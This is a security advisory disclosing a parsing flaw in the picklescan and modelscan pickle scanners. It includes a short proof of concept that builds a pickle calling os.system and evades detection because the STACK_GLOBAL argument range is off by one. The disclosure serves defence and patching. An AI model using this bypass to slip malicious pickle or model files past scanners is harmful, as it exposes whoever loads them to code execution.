Skip to content

Pickle parsing logic flaw leads to malicious pickle file bypass

High
mmaitre314 published GHSA-9gvj-pp9x-gcfr Aug 10, 2025

Package

No package listed

Affected versions

< 0.0.27

Patched versions

0.0.27

Description

Details

There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL.
Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception

f"Found {len(values)} values for STACK_GLOBAL at position {n} instead of 2."
will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.

Example:

    0: S    STRING     'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
    6: S    STRING     'system' --> arg 1: STRING (tracked argument)
   16: \x93 STACK_GLOBAL
   17: S    STRING     'ls'
   23: \x85 TUPLE1
   24: R    REDUCE
   25: .    STOP

PoC

import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
    f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))

Impact

Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.

Fix

Fix range here, make range(1, n) to range(1, n+1) to make sure the n-offset in range 0 to n.

for offset in range(1, n):

Severity

High

CVE ID

No known CVE

Weaknesses

No CWEs

Credits